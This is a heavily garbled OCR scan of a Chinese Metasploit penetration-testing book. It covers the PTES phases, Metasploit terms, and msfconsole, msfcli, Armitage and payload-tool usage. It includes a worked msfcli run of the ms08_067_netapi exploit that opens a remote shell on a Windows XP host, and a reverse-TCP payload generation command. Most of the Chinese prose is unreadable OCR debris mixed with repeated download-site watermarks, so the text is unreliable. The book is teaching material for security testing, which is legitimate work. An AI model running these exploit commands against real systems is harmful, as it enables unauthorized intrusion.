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11.1.4 MSSQLE&E% eevenererisresessnsnassssensssssesessssasseseneeess 1608
11.1.5 @it SQL Ed}ﬁfﬁﬁ%ﬂ (SQLPwnage) ........................................................ 172

112 ZEHEIB AN BEBIEE RS oot nsenes s nnssnenenss 1T

11.4 /N RTE@JLB@&E@ #wﬁ-:i: .................................................................................. 176

F12F Karmetasploit TR B ..o 177

12,1 BB st ses s sa e a s sa st st sssnes s ene s s snnessesrnssnsnsenss 1T
122 FFEEBUE oo eeensress s sssss s esssssssssssssssssssssssssssesssssssssessessssssnsssssssssssssssssessessacss 179
123 ZREUFELE oot eaeeesasasssssssnssesesmssessses s sasmesssssssnsssssssasssossssssesssssssees 181
128 BB Shellocuueecceceeeececeeeseceeees s aeeseesssssesseesssesssessssessessssssseessessssssessesssssesssossaesssssssssess 182
125 VB ettt s st a s st sassraensssenenssassssensenorsran 1 B

E 13 BB R IR oo, 185

13.1 ZEMS SQL LT AT oot sssssssssssesssassssnseenes 186
132 R A CTEZER Metasploit BEER .....covveceecics e cesssssssssssssssssssssessssessenss 187
133 ZRE —DBHIBEH ..ot rsesesses s sessensssessaseessss s s sensnsnsssnnsenns 189
1331 POWETSRELL .ot rrs e r e rerssnssmr v sar e sssessnssassrassarssnsmsnsnssrnres 1 8O
13.3.2 BT Shell BB I .o ovveee s sa s s st ss s bt enss 190
13.3.3 %5 powershell_upload_exec B ......cocorevuecimmsrecermersreissanmsssscessnsseseiasssnaseeas 192
1334 A ANHEFIEEB ] ZHEBIFRIE oot smsssses e s et 192
13.3.5  HFBIBE oot s e s e 194
13.3.6 IBFTEBBIUEEIEER .ccoooeeeeeeee et n s s se s ens e naserae 195
13.4 /NS AREBEFITAER .......cooveeoeeeeee s ssa s sns sttt 196

F14E PIBIFACHBEIEIR ... e 197

141 FUZZ TUTR I R oo eees e e et eeee e e e s e e s s e memeaeeeee 198
142 BT EAEERBE ..o N 1M 201
14.3  GRIE SEH BRI .oceeeceeect et e seses e s seeses e en e e e sme e ene s e st esessmmemnssanen 204

24 W WwW. 176K u.CoM



T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

144 FEEUBIATHIHE ....coooeveeeeeeeeee e seeceesseeas e sesss s s ssassssssssss e snssnsssesssssssssasesssasssssssessanssees 206

| TR 7 N 2 By . R 1L I OSSOSO 210
TA.6 AN e e se s e eas e s p et b ee et et et e A ne s eat b e eatetenet s an et se sretasepenate 213

F15F BEIBENARDBEE Metasploit EER ..o eere e 215

151 JEZRTE B ZERE ..o ssassssessssssss st st sessas s ssessssasssssasssessansensssseanes 216
15.1.1  EIP FHESP BFFFBE vt emvecs s iesensesss e sess s s snsssssesssnssmssssnssnesses 216
1512 IMP FEREE et ssisss s sttt sssst st nesens 216

1503 BHRA RN IR MEITIX ceooevoeeoeeeeeeeeeeeeerereseeeeeeeeenessseeseeseeesessesseeseseesesees s esess 216

152 BN EIFEEEH B ACED oot ees s tessessssenssssesesnsssenes 216
15.2.1 BN AR IE BRI oot sttt eeene 218
1522 FIHEBIEBIATIERR oo eees e eneseseemses e enesesesseseeeesnnsenns 219
1523 BRI ZEREBIBE AT .ccoceee et ssesese s ssseene s s 220
1524 SEHRHEZEAR BIERRPE oottt eet et st s e es s reen 221
1526 THER D FE D MIATIR s ssssbsssssss e seesees st essseeesesseeeseee et oee s saeeen 223
15.2.7  FHBROVIERT SRELICOTE .....couvecrreeeeeeeeeeree e seseeseseeesmesesssse s sensensseneneesseenens 223
15.2.8  FRATITEEERIBEERACTD oot esses s nssee s s ssssens s e s 224

153 SEH BHEIBIBIRNID oot et eseses st e sen e e s 226

IS4 7Bl e s et s ettt et ettt e e 233

F16FE Meterpreter BIZRARTE .....ceoveeerieereeeeet et enea s ste st e een s e se s e e e s 235

16.1 Meterpreter B GRFEER..........o.ooeieeieee et e e 235
162 MELEIPIELEr APL......couccueeriuseunssnssereessesanesessasssessasssssesssessssassssssnssenssnesessessensassssmsesessassessns 241
16.2.1 FTEIRII oottt caoe oo smases e s s sems s s s sase e emeeeses s ssees e 241

16.2.3  Meterpreter MIXinS...........ociuiomu it cesmene e ssesessenesansasesasessssssnsssnssnssassns 242
163 4’5 Meterpreter BAIASHTHIM.......covreiiceiaceiiseeeeecae s essessseesmsssssassserassssasssesemsessesses 244
164 GUE H A Meterpreter BIZK ... seee s s ses s non 244
6.5 ADGH e e A eA R 250

A - Sy & - E N 0b 315 R w Ok OSSR 251

170 B BRE L ettt ces s s e s s s s e e et e s eeenesee e sees s s meran 252
172 AEIRIHIE oo eee e e s ettt s et eaeean 252
17.3  BRBIEREEL ..ot bttt ettt ema e e e e eaeeeeee s s s eesseee e s e ras 253
174 FBIBEITT ..o ess st ens s e es s srs s s et sas s sess st s st nmsemsanseses s easease e s s s e s s s st sessensnns 255
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17.5  MSF 228 o B Bl a0 oot eee e ee s e nsn R 255
17.6  JEUBIB T ceoovoes et ess s s s essens s eassassansseses e s ensesseseame s s sessass s eeseenaessmes 257
17.6.1 33 Metasploitable EEHL .........c.ovveiueruimreersssisssassissioesnenesseseesseeesenesssmsessneeoees 258
17.6.2 R AT IR T T R GE e et e et ees e e e e s s s e s e essmesamnsanns 259
177 BUdT APACHE TOMCAL......vvvereerrerieseensenssnssessssssassssssssssssssesesssssasssssssssssssssessassssssssassammes 260
17,8 B N R G5 et er et eme e ee e s e e se e s e e e e e e e e e e 262
17.9  BRIBIRIIERTE ...ooooeceeeeeereesesesesessersesssmsssssssssssensens s sasssssesssssesassssssnsssesseesseseesesnesessesssenss 264
1700 2N et ss st st ss e m et e e et st et e et e aee et eeeeeeeee e e seseneesenen 266
B A B B R RS oottt e e oo e e e e e e e e e e e oo 267
[ I ko 2 T USSR 275
X
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BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

SEMN KBRS

BB WA (Penetration Testing) A& —FEIT BRI HER RS Hik, BBWERRENE
S HIHE I ER Y W B HIRUNE 2R K. BB AT AR A ST — i AR A
Balfb TH, RERESRS —HEEME. RATERIEEA -2 — 2PN
BB RRRN, XA T BB W) A SRR EL SR IR P M 4, A BEiL IR — 2R T
1 IE 2 BT .

i, REVAEFNE LBEMALBRMTRET —8EE, cfzekRFPh LA AE
VAT R A EIBBEIRKAITIRE (PTES: Penetration Testing Execution Standard) iETEXT 1815 §il
WRFTEGE N, FhREAEOESRESE T REFEITEENRTEROEARENEL, KE
X—REEMBEINRLRE, FE32VAN 2R XEFBEIRSEn “HF”
“Z57 (e EEN, WRRRIRE LB EWN RS, SFHEERRPRATIRHER A K
B, WH1 http:// www.pentest-standard org/BEAT i T #2.
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Metasploit ;&iE )i HE A

1.1 PTES #rAEFR RS IENR B EL

PTES #3325 IR R BURE HI R € SO ERT R, iR 5 AL Re UL —FhrAElL
175 KGR — IRBIBIR, M2 R HERPATIXFRR B VP . SArAER B E R 5
HEANE HERABh s SOR RIS RG], TG R A £ 5 U eh 45 At WA & 4
BRTHE . B SRR — 2B BWAE, RN IIR T #— TS NE2ENA B
B SCRREAES .

1.1.1 RIAZEME

BISIAS T B BOM 2 AR 5 % P VAT IR, Sk i B B () v LR H bR IXMBBY
Bl R R T EL R S AT B T AR B IR S H AR TXANEY B AR
HETHLE, KU A S MR A ARG ER, i T IR S T AT (98 1 W H 4%
AT SRR LM

1.1.2 FRIEEN R

TENTRAR I BY, RS SR & Al RER 7 ok R BB M E M AL aER, 8
A4 . Google Hacking HiAR. HAFRABRAES. MAMZEMRE, REH
TR RSN AR RERRARE ), G ERAT A BTHLE, BLARETL
g X F AR RS IR (1R B B YRR ML S 4 B bR RGBT R ) B A M

TEE MR B, AR AR RN R, R# 2 7E HAR R Sl T Lt 24
BrgLAl. 24K UL, - NALRERS TR E & B E B R LT, R Aok
e o 3R & B AR ML, T — BLPRTE B 44 SR 2 S 1 ) X i g i, A RS BEmA
A AT BT o R ST XX BT T O B AN T VAR S R T 6 B9 LA TP bk SR AT ]
EERE, TIIXAS 1P Mahk 2 AR FURE 2 4 B T B R B . S URFEER T Web W ARRFRT, X
ANTTERRAEEER A, A 2R Web NATEFH Web N B K5 E 5 th 2 7E VRSN
TR B — 2 PR A X R TP BEATPHBT, (EGIRTEEEENIXA 1P &AM K)iE K.

A T A MO FP R R B BRI CRAE A BCRY B2, HRwT LM AR LR S5 32 (519 2 R BAR 1 T BA
[ 1P b B R T R . ERFHR T, LM L a2y K s R A RHESE
BB LB, TRV R — B S VR NI SR A A S R R

BR: RTMER —A B RELARZZLEFALTLARFEES IP ik, KisTF
FOBR” edadh, AT BRI R E P R R T B IRIT A R Favh BLAR PTAR R 69
# TR,

1.1.3  BAAMEEM R
FER A A T R TE RS FRAR RN BT BRI BIIE B, SRR IR B AR R R LT RETFE A0 &
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E1E BEMREARR

ARS8 ERAT AR, PRREEE BN RO B TR PRI R - B INE
R, CARATR BB A AR R L. R EARIN B, RBH FEME S HEUEASTER, R
f LASrdi o A R AR Ak 28R AT AR RS 38

1.1.4 RRSHFME

— B R R TTAT B k205, R B R ARiZ T AR H bR R GV AL, ZE IR
OHTEL, fRELEE WRTE LB RIS B, S h A HT A B L W iR R 2
AT IR R AR T AT O MRS R, BRI BRI SR, DURTENR
HARER PR I AR B

115 BEXEME

BEBE ] R RSB E R GOL R P BRI BT, SR AR SE Rl 00 T FE 45 A R B FUAR
R4« BRRIGE”, TIAEER “ MRS, B RAEREA LR R BB ER TR R
FIRiR, A FIEX AR REL R RBE LS, SRE HIRREP IR GEFTEAS 2R EA M
MBI L EPIP R, ERIXIKEEILGEILRT) . BEECERR, ERZEREMR — R
TR, VRN T AETE H AR RS AR AN R BT KRG R H KRB R e
A B — A shell RAEHLEAE, X7 A0/ S BON B W I E, A8 ki
BRRAE IR LRI & S AR RIUEFA BB, 8EMEr iR, REFHXNERRAALROE
20 TIRAFTRMAARZE R, XA Al REl A s -

116 REEWLHE

JRBBEBGHM BMMROATE T & AN — RGBSR EEN B2 5T, HEAR
e W TR 1R 2 F 2.

JR B BB BAEAT AT — KB BN R TR P AR — AN KRR, X R R A AR B AR
LRI B E /DTG, SUEMNREEZIAT A E P REE HEFE BT . FigE
BB Bk LUES 8 ik 55 R GeAE 20 H bR, U H RO EEREOE, P S RE P HAR A EA
HRATEERPNERME, AN D RELAS — AN RGN, RTEFRH RS &
FUR i R T B B W i Bt g A2

TEJ5 B M i BOIEAT RGUBGHIT, ARG BT & K (R 2 AN [ R AL A&
DUERENHARBA A, O3, RO T —MRERRSS RERCER
P EE A K, SAAEHEEA RN, REOFOCEs BN EKgndE, HERE
5B 553 H R IR S HETEAA KX L RGER T ARIBINE? RIRSIATZE P AL R R FKEIR
B % RAEWEISITR? IREETEROX S RS, AT —REHN, H2RAREREKERE
BN OERATIR S ERE? FREEFR & P AL M BETE R G ?
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
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Metasploit 7 i% R i #& f

WA Z P AGR —FRA MR FERIME BN, B 55 12 R BT R — SN R A
BRIG RAEABA % P2 HAE — e P I A =R T PR AT . ARRET EAB NI R GRS PR T,
H R REAPEMB AR BT B 7 s ? PR 78 BRI KA 5 A AT A6 i B 2 WE 2

I BB RN B, A EREXLEHE LSRRI IRTHGER, #RRE, &
mfr B T BB Hir. WBUEE AR, —MEERREEGEERMR RS iR
Moy AT TR ROERE, AUER—ZBOLEEERRE, RFEEER - NERIEER
PEERE, RAUHRR, W REmRN, HKBTHRIIEINEE, MAREHARERZ)
MBS TR,

1.1.7 wREME

Wit RSB RL AR P BAEEME R, FRRAE AR & ORI E AL R 1
TOHRLE, g, CLRBAEEN—F AR NIRRT AR ZERA S5 5.

TEMATIBFIRN, AR — DB & 10/ BER#AT TAER, X2 THE - 48R
MEFR, MAREBEN RSP RREIRE SRR E P ASKE B Z 2R A R B AR
KRB IRBATIE. SIRTEGR S MR SRR LR, IREEMER S ARMME L, kot
IR ARE R B RET AR, BRI E S, URIERTTBERRN 22K, AL
X RIH BRI AT LA T .

WA ERE MR BN Z A ME . SERAMBEARRRZILA G, BERRABIHE
BRI E P AARAREH LSRR, AXHE2BEMIERENEOEIME. flln, RE
BPHRK Web NMARFFHE T —A SQL AR, REEME RIHARRII/ KB LR
M2 BT B PR TR I, RS HAM SQL BdEM, £ -ARERHA KA
Ei24T SQL 4], VLEAEAESIKHAENE. SRME LT RIEBER TX My ER
SQL AWML G, MRS IRE SQL FEAK S T5? FRK! —MEABEFH SQL &
AR A RERER T REFRZEMERE=ZTNA, TERRIHRE DN %5 %
XERE, FRUFFASSTHBREHHRIXERNR.

1.2 BiEMNRER

BBAERNE, RELNBEIANEALRBESHNTH T VBT E, BETXRIE
BATREBZBEI LR ESLRY. GRS EETHK. aaiil, Aty “al
W7, BRIGBEWNAEFAEMNE Z /AL MR T T 8 RSN RN
B — A0 P R — BB N B B BT AT RS B . BRI 7 AR AT B 2 AR
F55
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F1FE BEMNIEARE

121 AENK

R AERER, RFEENE AL —IE T, A HEER SRR, /T AHSH IT X
R G & PR R R ITR R S MBS, AERNA BT ERRERT TN
AR, IR A BE TSR oL TR S . T B &SR8 K ] T
EARENA % AR RN SR NFR T, oA AR = 2B v R Ry e Bl R
MR, mENEAR, SRR EKBENREAT EREEFAETHEZARE, BaEE
AT AE A2 IR IR B AT TH

122 RENR

HAGUEKARKE, S8R aNRE ROV BB HERARIT N, HFEART
fRZ AL KIAME BAAIRAINE S T . MR E IR nT UL SR P9 08 2 4 B AR U 2
xR I RE T -

REWARZ AN RN, FANTHESENREAEFRNEAE. £ FIE
FIARER D, BREWGOER R EZAERN, FAVCEERBARN T - REERMKTEE. &
SRR ER RN ES R HFARLRER, B, 5 - RBRENRNEENRAE,
PREH I AT EIR L B R RRH A ZERR, TR EEZ AR IR A LARE B iR R4V
AT BN BB R AR, FFRUE AR 2 '

1.3 WRAAHE

TR R AR A ORI M AR B RE SN A P 2 2W\F R Bah e TH. RS ET R
B ERRAZORIEREIRQUE B RAMELRYSRA, DR ETAETHRERS, —BEC%
KM HIRRARRIERGE SMHERE, Rt LMERRFES M BHIT SR ERORE, KE
FFEFRBEL 2R HRZENEFIRGRBERR IO RS, WESEMEE A3
RIRTT R —F, ENERZHESFRHEREFRIFRRE LR ZERF.

B MRS SE R RRFE T CERE TIEWFRER, —HH4RSHEHENX
HHC AT RERE, BE —SEENHRA, BREEEE M. BREHSEZEN
WA BER T —MERXBEEM, 155 R A VIR R N AR 2 KB T To 20 % 58 an o] gt A
AR RZFb . WRIREESEP RN MR LT ER, EAh0RExd 7
e, BEWRANRDZAETEAR —NTR —EB3)MLLHE, MO REE R
TEAREEEBHMPNKAE. ERBHEERT, LRI —Z2BENBENRITZ)E, R
RAE RS, TRKRAR A SRR R R
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Metasploit {&iE it 5/

1.4 ING

WEARAFRINIG 2 BB WS, BNEER T MR TR R, % — T B8N
RPATHRAE PTES . ERATAEM LK, $AT— Ui ERRART, FH6E RHE AL . ATt
RIEARRAE, T HENZRW UAERE K. FA—RBEIAE, 77T 0RA RS R e
EERFS PR, JFR A REERDRE R AKCE, X BRI B N AT A2 R R R & A
d R B2 .

24 W WwW. 176K u.CoM



BTt I AT ORM L% S 2 AT AR 2 A B B AT A 4%, 5 I 24 AT 1) SEBRABCR) N AR FHV R ST o DRIAR St 38 40 W o)
KT HABLEA, WA BB bR R BOR AR R S BUR LI TR 2 Ak, WO S &, FKG L RT-F DAL . 15T R IERR To4E, SZFrE
2% 22 4o TR T e b I (WWW.17HUAN.COM) KR & 5B %t (BBS.176ku.COM) FLEEH AR HE E—A G5

Metasploit &l

LPRE — ek Metasploit BB IRAEZR KM (MSF) I, {Rue]geS Rt £ ik
M. 5. REMEFRE, MEELEMN. TS, RIEEE Metasploit HAf, #
Bh ¥R 6E 8 M 2348 B 2 ) Metasploit tH 57 0 i H — SR GE BR , iEARER I3 Hh 448 Metasploit B34 Fi% .
BAVE B LR — L EE B FMARE, RERKEEMBER Metasploit FriHEHIAEH#
. Metasploit 4% 5 & 3@ I FFHHA, ELSHXPAHMREMTTERE, (A Metasploit 77
FHA LR A.

FEHR — K Metasploit B, RBEZR-—ERE: FAEXETHREEFMBERK, WA
RV i%KVE Metasploit & WA HEFT B ], AR AT LA FH Wi L iy £ SR AT 139838 Rl Th S e

2.1 FWKRE

ERATD, RAITKERATOLARE, TS H SR, K2 LLT REAARE
JETE Metasploit HESE b F SCERSE AT 5 UK, HER SIS NAERAN 22 AR EHE K.
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W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit &iE R iRIEE

211 EEWE (Exploit)

BE W TR B R AR A R ARG ARG L eRE, FrdiTm
Wit R BaE#HMEHBBERGEANRRGEN, HELRERITRE FTIH TUREE — R RS
B BATHEBRGEHAGEERX R . Web N AFRFRFLGE (W SQL EA), BUAR]
HIRCE R IR .

212 WEHHT (Payload)

Kt 8 R BRAVGE H AR R AW BB EGEZ J5 ZHATHIARS, 7E Metasploit FE5EH A LA
b R R B, KB shell —FhM HEx EHLBIBGE EHLEIE NS ER, 7
P4 24T shell BIBET3RHT( S WA 5 #), 1 bind shell Bk W 7ZE B AR LA K #5217 shell
9B 52 B — AT B MW 1, Fadi & nT LU BEIX ol L1 R HU 73 shell A8 B, Bt 84t A] e & 18
HTE BARRIE RS FHUT a4, MERNEPKSE.

2.1.3 Shellcode

Shellcode J& 7F %% B b 1B A W7 AT 1T B —ZH HL 8% $5% . Shellcode % AL %G S W
B, ZEREZEERT, HIERSHMITT Shellcode X—AIEA2Z G, 4Lt —A 41T shell
l#% Meterpreter shell, iXt2J Shellcode % FR I HI% .

2.1.4 iR (Module)

EABH FF RS, —4MEEURTE Metasploit HEAE T T8 I 0 — BYKAHVIB 444 7F
FEopt e, Rolges -~ MEBER R (exploit module), thaghR T 3CPr RiLiBiE B #
KA. TorEAbmHAR, WIRTAefE A — BB (auxiliary module), FISEHAT —LiE
ARG E JWBEEE. XA R & B 2 Metasploit HEBL N I35 K 9
BB FE

2.1.5 M3 (Listener)

WV E8 R Metasploit FRIKSREAMNKER LM, BHIRE, ERBFHHBELS
ZJG, EAEeRId R R B e EALE, ST S AR AE B B AL S R e B B
RGORER, HNTTAEIXEWNEERE.

2.2 Metasploit FH F#EO
Metasploit 434 & HU R T RS- AL T AR 0, KR, AT HEBARE
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$ 25 Metasploit il

o B T XESEETIZ AN, THEEFEF Cutilities) WAL T %) Metasploit HE 42 1 P 3 D) RE () EL8:
P, XA EN TBBERB R, URAE —BRATESAERZEE NS PIER
A

221 MSF 25

MSF £ (msfconsole ) 42 H Al Metasploit HEZE & A AT HH F#01, TaX 2 A% 3 2R/,
B4 MSF £ 3 t Metasploit HESE R R IE . ThAbE 31 DU B aF i TR 2 — . MSF #3512
PTG 0, RERS ) Metasploit AEZ2H LV — NETAMACE, LT LERAES SCI
AT B E W A R A T . Akal LMER] MSF & T 518, ki — BB, &
HEER . S S, AR A, LA ML IHT ASh BB

R4 Metasploit HEZEZEARMTH R BAEH ., ©HRGSESTERAREH IS, B
WO RE R MSF 285 (4 3 A i 3, VRaT LLBR I Metasploit BB B H. TEE B E TP,
A IHEAHE F MSF 28 5% 4T3 7%

® 33 MSF £

JAEh MSF &3 3EH mie, REELEM LT THA msfeconsole.

root@bt:/# cd fopt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >

) N
--11*

msf >

Viia] MSF £ B3 8 XM, KB EHA help, -l LU R4k BT B %8 i) metasploit #7<
ETFHEXAE Frh, RATH connect Ay KB REMMHHB), X @S aATLLARRIIS —
AEHUETERE. BRMER ISP HER A, iZad g, UREFHARKEE
I o

msf > help connect

BATHEE SRV P EIRAHKIRE S T # MSF 235

222 MSF &#%17

MSF #r447#1 MSF #3554 Metasploit #E5217 7] $& 4t T B AERIR A A pig 4, MSF 255 LA
—FpH PR IR AR T 75, T U 0 BT BT RERF M, 1T msfeli W3 % R
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Metasploit i& % MiX 15 &

A FERFNS Moy 4T T R E EEME . Msfeli 7T LAE M A 21T shell $04T, FH AV AT
EAHIIETEE M ZE msfoli &1, LUK msfeli B9%H B F AR a@4T TR . msfeli i3 FF /5
&S EEGH AR B, X RE AL AR T R I R0 BB AR L T AR H R
R, VRN EAR T B A IS B LA TR ENR RS, R MBCR L2 E
Bk a4l TH . msfeli 384t T —2S SRR F B SCR CBFEMER SR MERR AL,

AJ LAl L msfeli -h #7437 275:

root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]

Mode Description

(H)elp You're looking at it, baby!

(S)ummary Show information about this module

(0)ptions Show available options for this module
(A)dvanced Show available advanced options for this module

(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module

(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module

root@bt: /opt/framework3/msf3#

® fEHIRHI

EBALREE WAREH msfeli, WHEAEHLEAE LRAMEH, XA REHZEH
Kb pRxf T XA EOH —MHIERER.

YRAITT 4% 3] Metasploit, B2 18 2] B AE A %038 0 AT dy & S8R RHR, ARWT DAZE PR
AR HELBEEN LEL—NERF “07, RoTUERRXMRPFRENAKESH. £ Fmi
BlFh, BAOMEA TR “0” BT LITEE ms08_067_netapi BLRHIFLE S HOLT.

root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

Name Current Setting Required Description

RHOST 0.0.0.0 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

YRELAT LLB BX A E FE = M E T : RHOST. RPORT Fl SMPIPE. HfE, Lt —4
F8F “P” . YREE AT LAY 7 0] A A B 8 .
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T ARG TACE R AR S 2, AT AN 2 A BB AT A%, 75 N 2 AT 1) S B BUR R AR BT o ARSI, 343 % k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$2F Metasploit ZHt

msfcli windows/smb/ms08 067 netapi RHOST=192.168.1.155 P
wait while we load the module tree...

Compatible payloads

Name Description
generic/debug_trap Generate a debug trap in the target process
generic/shell bind tcp Listen for a connection and spawn a command shell

TEABMVFRBIBECE W B SR A L H B BIET, R T MR RA 2R, RITR
AT LUEETE msfeli K& S AR EBEN LFRF “E” , KETBEWLARE, 0F P

root@bt:/# msfcli windows/smb/ms08 067 netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind tcp E
[*] Please wait while we load the module tree...

[*] started bind handler

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Triggering the vulnerability...

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C: \WINDOWS\system32>

BRI 7 POARNMELEMERERS LR T — Windows 74 1T/ shell.

2.2.3 Armitage

Metasploit HE521[{] armitage 42— 58223 B ERALAH 781, i Raphael Mudge
FiFk. EANEORFERTHIEE, FHERRM, iEABREZ. RIEXFBPASEAN
%6 %5 armitage FIMERT, (E'ERESSEAEE (] B S 2|WE. BAH B A5 2 VH# R 5387 Metasploit
BTN RIS, - ERT# T Metasploit #E4LHSERR TAERE, M-AXAE KR E LA
155 KRN B

® iZ4T Armitage

Pro] LUl IS 4T armitage #74K 5 3) armitage. 1E/8shid g, %$ “Start MSF”, Xk
A LAt armitage 3% 42 3 fR ) Metasploit 3541 1.

root@bt: /opt/framework3/msf3# armitage

armitage J330Z )5, AT ER A o 3B TR W LABRAT 4 SE HVB B B, Bk U5 1) oAt Y
Metasploit ThfE, ZEGIRUE, B 2-1 878 THATHES (/i) B&ERE L E.
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Gaor H: A FTHE ORI BE 2 ) 2, AT ARG 2 A P sl BEA T A%, 75 S 24 AT 1) SEBRBOR) N R FEIE A T AT . RIAS S 0 43 k)
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

Mehsploit EBENKIERE

Email Attacks
Evil Files

adobe_cooltype_sing

alm_goaway
aol_icq_downloadagent
apple_guicktime_marshaled_punk

I Bmu‘ﬁér nutonﬁm...
| Eile Autopwn...
| Hail Mary

awingsoft_winds3d_sceneur]
chilkeat_crypt_writefile
cisco_anyconnact_exec
communicrypt_mail_sctivex
drstudio_player_exec
enjoysapgui_cemp_download

ie_treatechject

| i8_unsafe_scripting

java_basicsenace_impl

java_codebase_trust

b java_docbase_bof

W v ws_arginject_altjm
fa

28 ms07_017_ani_loadimage_chunksize
ms08_041_snapshotviewer
msl0_022_ie_vbscript_winhip32

ms10_042 helpctr_xss_cmd_exec
msl10_046_shortcut_icon_diloader
novelliprint_datetime

novelliprint_target_frame
persits_upload_traversal
symantec_altiisdeployment_downloadandinstall
symantec_appstream_unsafe
systemrequirementslab_unsafe
tumblewsed_filatransfer
winamp_playlist_unc
wnil_admintools
zenturiprogramchecker_unsafe

B 2-1  armitage [)50) %0 8% 1815 B0 7 S B 00

2.3 Metasploit THEEIR F

TERHRBI AT Metasploit (I =AEEMA PO 2, BLEE W LR A4 — L& Metasploit THAEFE
¥ T « Metasploit FITHEEFR /P R EF LR 2 1378 T, % Metasploit HESE 7 (1) — Lohe Bk T BRI AT
BHEWRKED, E2BENREIF LR PRI H . BiEXENH)LA BN E B H Metasploit
ThEERRF, JFEB AT PRSI H BT F.

2.3.1 MSF W Hfard i F

MSF Ziti 3 4 8% S i R AE S - A shellcode. AT HATACRIAIILAL B 2 (AR T, ] LAik
B MERERKNZ S B &SP TR

Shellcode A] L4 R ALFE C. JavaScript. 2 Web W HFEFH Visual Basic JIAE A {12 FF
B, SR RSERERGSPER. i, FREEMER Python iE 5 45 — MBFE LG K%
SRAFILFS (POC: Proof of concept), 4 CiEEHAMEHRBRIFH: WRKRERS N
WA FEIEAD, AL JavaScript 5 AR shellcode ¥ B EIESHI, TEWIEET A
S (4 2 S, R AT DATRT B KX AN B B e FLEE A B — N HTML U R il R 18 3 s
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BTt T ARBEITAER M2 S 2, AT AN 2 Ath F sk B AT AL 4%, 75 N 24 AT 1) S B BUR R SRR BT o DRIAS I 343 % )
KPR T AL A, WNATFAE B AR R IR ORI AR A R S EURIC I FARRIZ 4, #OF &0, BB Sr 7 LLAREE . 35 SSER A, R
W22 4. TN E R E N (WWW.17HUAN.COM) Jif % JE A% H 8 Ts (BBS.176ku.COM) #LIEHARE L— &k .

$2E Metasploit &t

ERABRE — TR ThRERFF AR ET, 1T A msfpayload -h, WI'FAT/R:

root@bt:/# msfpayload -h

5 ER msfeli Bf—FF, GURVRIAER — AN BB R BELETN, FadiTZmR
m—AFF “07 , BUATLAF Hh By 4 f A Al A& RIS %, Wk

root@bt:/# msfpayload windows/shell reverse_tcp O

BANE R MEFRRKBBELGRRIF LN, G2 MREAM T EMER MSF B 864
m%&n

2.3.2 MSF 4z538%

H MSF Bt 8 A4 ale 28 7= 42 /) shellcode B5ERFIIEATH, HEEPEET —& null ZF
F, TE—SREFHATRRIR, XEFFHIBINIRFHBENER, MMM BAHEETRESIT
ZATHARMT A EIZEAT . FHORR, X E\00 R AR S BRI BGE 86T .

535b, TEMER b A5 S AEHIRY shellcode 1R AT REB AR ENE R AR BHRAFTIRA, AT R
iX—a] @, Metasploit KIFF&ENIRH T MSF 4af33%, o] LU BhRE 0 A Bk & iT 4
B 07, B RIR R, LURREER B IDS MRl %A msfencode -h B] LI FH MSF
SR 2% I IR T A K .

Metasploit P& T —RFI Al FAFS R T 45D, —SERARERATRSHTFFH
REEBGERATH AR, MXMSRAEESHIERE LR MBELG, a3 AN
B REZ TN RAE D NETS o 10 55 4 — 2638 i HI A ) SRl 2808 3 7E il 7o h 8 R
AWML .

